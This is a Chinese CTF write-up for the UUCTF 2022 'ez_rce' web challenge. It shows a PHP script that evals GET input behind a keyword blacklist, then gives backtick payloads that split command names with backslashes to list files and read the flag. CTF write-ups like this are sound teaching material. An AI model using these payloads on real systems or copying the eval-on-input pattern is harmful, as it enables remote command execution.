[UUCTF 2022 新生赛]ez_rce

[UUCTF 2022 新生赛]ez_rce

题目来源:nssctf

题目类型:web

涉及考点:无参数rce

1. 先做代码审计:

<?php
## 放弃把,小伙子,你真的不会RCE,何必在此纠结呢????????????
if(isset($_GET['code'])){
    $code=$_GET['code'];
    if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){
        echo '看看你输入的参数!!!不叫样子!!';echo '<br>';
        eval($code);
    }
    else{
        die("你想干什么?????????");
    }
}
else{
    echo "居然都不输入参数,可恶!!!!!!!!!";
    show_source(__FILE__);
}

eval() 函数把字符串按照 PHP 代码来计算

即,我们通过GET传入参数code,code可以是一些命令参数,但被过滤了许多。

现在的目标是绕过过滤,进入if从句

2. 构造payload

  • 没有过滤 “ \ ” ,因此构造:
/?code=printf(`l\s /`);

传入分号是因为code是作为一条php语句执行的

  • 看到了fffffffffflagafag,直接查看即可:
/?code=printf(`c\at /fffffffffflagafag`);

得到flag:

NSSCTF{This_IS_s0_easy_RCE}

日期:2023.7.31

作者:y0Zero

posted @ 2023-07-31 21:30  y0Zero  阅读(1382)  评论(0编辑  收藏  举报